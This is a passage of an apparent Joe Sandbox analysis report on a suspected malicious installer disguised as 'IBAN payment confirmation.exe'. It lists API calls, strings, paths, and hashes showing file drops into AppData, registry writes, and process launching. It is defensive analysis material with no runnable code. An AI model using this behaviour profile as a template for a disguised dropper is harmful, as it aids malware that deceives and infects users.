Part of subcall function 00405194: lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
Part of subcall function 00405194: lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
Part of subcall function 00405194: SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
Part of subcall function 00405194: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
Part of subcall function 00405194: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
Part of subcall function 00405194: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F

Strings

C:\Users\user~1\AppData\Local\Temp\nsl71F.tmp, xrefs: 00401804, 00401822
C:\Users\user~1\AppData\Local\Temp\nsl71F.tmp\System.dll, xrefs: 00401818, 00401834
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Mixerudstyr, xrefs: 00401781
Call, xrefs: 00401770, 00401779, 00401786, 00401798, 004017A4, 004017DA, 004017F0, 0040180E, 0040184A, 004018CB, 004018D4, 004018DE, 004018E9

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user~1\AppData\Local\Temp\nsl71F.tmp$C:\Users\user~1\AppData\Local\Temp\nsl71F.tmp\System.dll$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Mixerudstyr$Call
API String ID: 1941528284-618482122
Opcode ID: d911f2a5e86815fddb17de9d1bc7295e402278fca2ec962f4dae8fec1f8af932
Instruction ID: bc5e94bc6114b027384bbb583ab77f55914405742357509a7a45d2f14902e26b
Opcode Fuzzy Hash: d911f2a5e86815fddb17de9d1bc7295e402278fca2ec962f4dae8fec1f8af932
Instruction Fuzzy Hash: 0541A071900515BACF10BBB5CC46DAF7A78EF05368B20863BF521B11E2D73C8A419A6E

Function 00402573 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 142
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(?,?,?,?), ref: 004025DB
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402616
SetFilePointer.KERNELBASE(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 00402639
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 0040264F

Part of subcall function 00405BD9: ReadFile.KERNELBASE(00409230,00000000,00000000,00000000,00000000,00413E78,0040BE78,0040330C,00409230,00409230,004031FE,00413E78,00004000,?,00000000,?), ref: 00405BED

Part of subcall function 00405E31: wsprintfW.USER32 ref: 00405E3E

Strings

9, xrefs: 004025BE

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: File$ByteCharMultiReadWide$Pointerwsprintf
String ID: 9
API String ID: 1149667376-2366072709
Opcode ID: e497fc0f6c600e964b9f2122c9ab3848d05cefc5a36f71c7b66b32dfb87a2e9e
Instruction ID: 2cb5264777941c8734ead6492e5e892e31f06070e548dc8493562ac8cc7c1c9a
Opcode Fuzzy Hash: e497fc0f6c600e964b9f2122c9ab3848d05cefc5a36f71c7b66b32dfb87a2e9e
Instruction Fuzzy Hash: B551E971E04209ABDF24DF94DE88AAEB779FF04304F50443BE501B62D0D7B99A42CB69

Function 0040317D Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 108
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403192

Part of subcall function 0040330F: SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402FE7,?), ref: 0040331D

SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,?,00403095,00000004,00000000,00000000,?,?,?,0040300E,000000FF,00000000,00000000), ref: 004031C5
WriteFile.KERNELBASE(0040BE78,004109A9,00000000,00000000,00413E78,00004000,?,00000000,?,00403095,00000004,00000000,00000000,?,?), ref: 0040327F
SetFilePointer.KERNELBASE(000066F6,00000000,00000000,00413E78,00004000,?,00000000,?,00403095,00000004,00000000,00000000,?,?,?,0040300E), ref: 004032D1

Strings

F, xrefs: 004031DC
x>A, xrefs: 004031F2

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: File$Pointer$CountTickWrite
String ID: F$x>A
API String ID: 2146148272-503584087
Opcode ID: c3e212118fbef9e4adb068f61efe2bd575096358676594393449bc7ea11798d5
Instruction ID: e2b2982e6b1d623d5d036838b7619e310c478df2cbc778b1b7af49cc7c53be0d
Opcode Fuzzy Hash: c3e212118fbef9e4adb068f61efe2bd575096358676594393449bc7ea11798d5
Instruction Fuzzy Hash: 2A41AC72504201DFDB10AF29ED848A63BACFB54315720827FE910B22E0D7799D81DBED

Function 00402331 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExW.KERNELBASE(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040236F
lstrlenW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\nsl71F.tmp,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 0040238F
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user~1\AppData\Local\Temp\nsl71F.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023CB
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user~1\AppData\Local\Temp\nsl71F.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024AC

Strings

C:\Users\user~1\AppData\Local\Temp\nsl71F.tmp, xrefs: 00402380, 004023A5, 004023B5, 004023C0

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID: C:\Users\user~1\AppData\Local\Temp\nsl71F.tmp
API String ID: 1356686001-3216935634
Opcode ID: 57df5d2fd497d946e5d44718c2ce9500a544491e1817e3951972c4e7e3852fff
Instruction ID: 3600ae87f41ed0761c30afac485ceb57641edc98565fd21ac0e2bbddf966c716
Opcode Fuzzy Hash: 57df5d2fd497d946e5d44718c2ce9500a544491e1817e3951972c4e7e3852fff
Instruction Fuzzy Hash: 511160B1A00108BEEB10AFA4DD49EAFBB7CEB50358F10443AF905B61D1D7B85D419B69

Function 004015B9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004059E0: CharNextW.USER32(?,?,00424ED8,?,00405A54,00424ED8,00424ED8,?,?,771B2EE0,00405792,?,C:\Users\user~1\AppData\Local\Temp\,771B2EE0,"C:\Users\user\Desktop\IBAN payment confirmation.exe"), ref: 004059EE
Part of subcall function 004059E0: CharNextW.USER32(00000000), ref: 004059F3
Part of subcall function 004059E0: CharNextW.USER32(00000000), ref: 00405A0B

CreateDirectoryW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 004015E3
GetLastError.KERNEL32(?,00000000,0000005C,00000000,000000F0), ref: 004015ED
GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 004015FD
SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Mixerudstyr,?,00000000,000000F0), ref: 00401630

Strings

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Mixerudstyr, xrefs: 00401623

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentErrorFileLast
String ID: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Mixerudstyr
API String ID: 3751793516-3758315044
Opcode ID: 9bef887c5d5f536874f37580d62bfdc690f86322df1a9697a894e0e2e9f3eda4
Instruction ID: 793db7a5d63411832aed35bcc9698a3b838560232fc9f0aff2bd133e4d1ca9b1
Opcode Fuzzy Hash: 9bef887c5d5f536874f37580d62bfdc690f86322df1a9697a894e0e2e9f3eda4
Instruction Fuzzy Hash: 8E11C271904100EBDF206FA0CD449AF7AB4FF14369B34463BF882B62E1D23D4941DA6E

Function 10001771 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10001B3E: GlobalFree.KERNEL32(?), ref: 10001DA9
Part of subcall function 10001B3E: GlobalFree.KERNEL32(?), ref: 10001DAE
Part of subcall function 10001B3E: GlobalFree.KERNEL32(?), ref: 10001DB3

GlobalFree.KERNEL32(00000000), ref: 1000181C
FreeLibrary.KERNEL32(?), ref: 10001893
GlobalFree.KERNEL32(00000000), ref: 100018B8

Part of subcall function 100022A1: GlobalAlloc.KERNEL32(00000040,405EA210), ref: 100022D3

Part of subcall function 1000260B: GlobalAlloc.KERNEL32(00000040,?,?,?,00000000,?,?,?,?,100017ED,00000000), ref: 1000267D

Part of subcall function 100015CC: lstrcpyW.KERNEL32(00000000,10004020,00000000,10001749,00000000), ref: 100015E5

Part of subcall function 1000248D: wsprintfW.USER32 ref: 100024E1
Part of subcall function 1000248D: GlobalFree.KERNEL32(?), ref: 10002559
Part of subcall function 1000248D: GlobalFree.KERNEL32(00000000), ref: 10002582

Strings

, xrefs: 10001899

Memory Dump Source

Source File: 00000000.00000002.1955740112.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1955670729.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1955830889.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1955921061.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_IBAN payment confirmation.jbxd

Similarity

API ID: Global$Free$Alloc$Librarylstrcpywsprintf
String ID:
API String ID: 1767494692-3916222277
Opcode ID: ee44118ed5f66a04bcbaddb203534a3c862fc054acfad86daf15ba6692a0e061
Instruction ID: b3d4579510dcbc356f87b8c5eb81e8e4ebd4f83f88234b59d07570181d0aa013
Opcode Fuzzy Hash: ee44118ed5f66a04bcbaddb203534a3c862fc054acfad86daf15ba6692a0e061
Instruction Fuzzy Hash: 7831BF799043459AFB10DF74DCC5BDA37E8EB043D4F058529F90AAA08EDF74A985C760

Function 00403062 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNELBASE(00409230,00000000,00000000,00000000,00000000,?,?,?,0040300E,000000FF,00000000,00000000,00409230,?), ref: 00403088
WriteFile.KERNELBASE(00000000,00413E78,?,000000FF,00000000,00413E78,00004000,00409230,00409230,00000004,00000004,00000000,00000000,?,?), ref: 00403115

Strings

x>A, xrefs: 004030DE

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: File$PointerWrite
String ID: x>A
API String ID: 539440098-3854404225
Opcode ID: 73e73457c5bbcdafa96f221cdd1e093cd11c4acccee03c0e5d0162ce9b0576c4
Instruction ID: dc2c699ff297b31fb9e84695071232237a0836a1395088a2783af72dccbdbb3b
Opcode Fuzzy Hash: 73e73457c5bbcdafa96f221cdd1e093cd11c4acccee03c0e5d0162ce9b0576c4
Instruction Fuzzy Hash: A8312871500219EBDF10CF65EC44AAA3FBCEB08755F20813AF905AA1A0D3349E50DBA9

Function 00405B85 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405BA3
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,00403358,1033,C:\Users\user~1\AppData\Local\Temp\), ref: 00405BBE

Strings

C:\Users\user~1\AppData\Local\Temp\, xrefs: 00405B8A, 00405B8E
nsa, xrefs: 00405B92

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user~1\AppData\Local\Temp\$nsa
API String ID: 1716503409-3083371207
Opcode ID: 7054b5fb0d700673de611bc5c70211d8803a17d96c063a26fac21c3c19acc14a
Instruction ID: ce32066b90f2dd5c00c4c21114408b385ae8a9c1cc04399698be8057c3d71d7e
Opcode Fuzzy Hash: 7054b5fb0d700673de611bc5c70211d8803a17d96c063a26fac21c3c19acc14a
Instruction Fuzzy Hash: B7F09676A00204BBDB008F59DC05F9BB7B9EB91710F10803AE901F7180E2B0BD40CB64

Function 00401E51 Relevance: 6.1, APIs: 4, Instructions: 52synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00405194: lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
Part of subcall function 00405194: lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
Part of subcall function 00405194: lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
Part of subcall function 00405194: SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
Part of subcall function 00405194: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
Part of subcall function 00405194: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
Part of subcall function 00405194: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F

Part of subcall function 00405665: CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004256D8,Error launching installer), ref: 0040568A
Part of subcall function 00405665: CloseHandle.KERNEL32(?), ref: 00405697

WaitForSingleObject.KERNEL32(00000000,00000064,00000000,000000EB,00000000), ref: 00401E80
WaitForSingleObject.KERNEL32(?,00000064,0000000F), ref: 00401E95
GetExitCodeProcess.KERNEL32(?,?), ref: 00401EA2
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EC9

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: MessageSend$CloseHandleObjectProcessSingleWaitlstrlen$CodeCreateExitTextWindowlstrcat
String ID:
API String ID: 3585118688-0
Opcode ID: 806019d01c4059dad2e07343b2bd93566fca4abe4f6ec66dc814e8540e8620d4
Instruction ID: 1710045f99402437403c6baccff52884d9c8abed8acdccfc98223cb8aca5cd2d
Opcode Fuzzy Hash: 806019d01c4059dad2e07343b2bd93566fca4abe4f6ec66dc814e8540e8620d4
Instruction Fuzzy Hash: DC11A171D04204EBCF109FA0CD459DE7AB5EB04318F20447BE505B61E0C3798A82DF99

Function 00405108 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00405137
CallWindowProcW.USER32(?,?,?,?), ref: 00405188

Part of subcall function 0040417B: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 0040418D

Strings

, xrefs: 00405118

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: ffbbbef4bb215af9c79ac16ecb942473111b8a896db240ad95dfeee9b4123394
Instruction ID: e96fcdb8fef6e8ad8397e3324e9c6cbe2a99463e9dbc89d2689884753c01e048
Opcode Fuzzy Hash: ffbbbef4bb215af9c79ac16ecb942473111b8a896db240ad95dfeee9b4123394
Instruction Fuzzy Hash: 9C019E71A00608AFDF215F11DD84FAB3A26EB84354F104136FA007E2E0C37A8C929E69

Function 00405665 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004256D8,Error launching installer), ref: 0040568A
CloseHandle.KERNEL32(?), ref: 00405697

Strings

Error launching installer, xrefs: 00405678

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: db986bb620d03a990efffdf1bf116708606012bbbe4d85f78c6f80e4c395a8cb
Instruction ID: c7c859a2db999ab7639828e98f3e535764a8332e37e79a8a612d2f3195062982
Opcode Fuzzy Hash: db986bb620d03a990efffdf1bf116708606012bbbe4d85f78c6f80e4c395a8cb
Instruction Fuzzy Hash: 19E0ECB4A01209AFEB009F64EC49A6B7BBCEB00744B908921A914F2250D778E8108A7D

Function 00403326 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 0040617E: CharNextW.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\IBAN payment confirmation.exe",C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,00000000,00403332,C:\Users\user~1\AppData\Local\Temp\,771B3420,00403512), ref: 004061E1
Part of subcall function 0040617E: CharNextW.USER32(?,?,?,00000000), ref: 004061F0
Part of subcall function 0040617E: CharNextW.USER32(?,"C:\Users\user\Desktop\IBAN payment confirmation.exe",C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,00000000,00403332,C:\Users\user~1\AppData\Local\Temp\,771B3420,00403512), ref: 004061F5
Part of subcall function 0040617E: CharPrevW.USER32(?,?,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,00000000,00403332,C:\Users\user~1\AppData\Local\Temp\,771B3420,00403512), ref: 00406208

CreateDirectoryW.KERNELBASE(C:\Users\user~1\AppData\Local\Temp\,00000000,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,771B3420,00403512), ref: 00403347

Strings

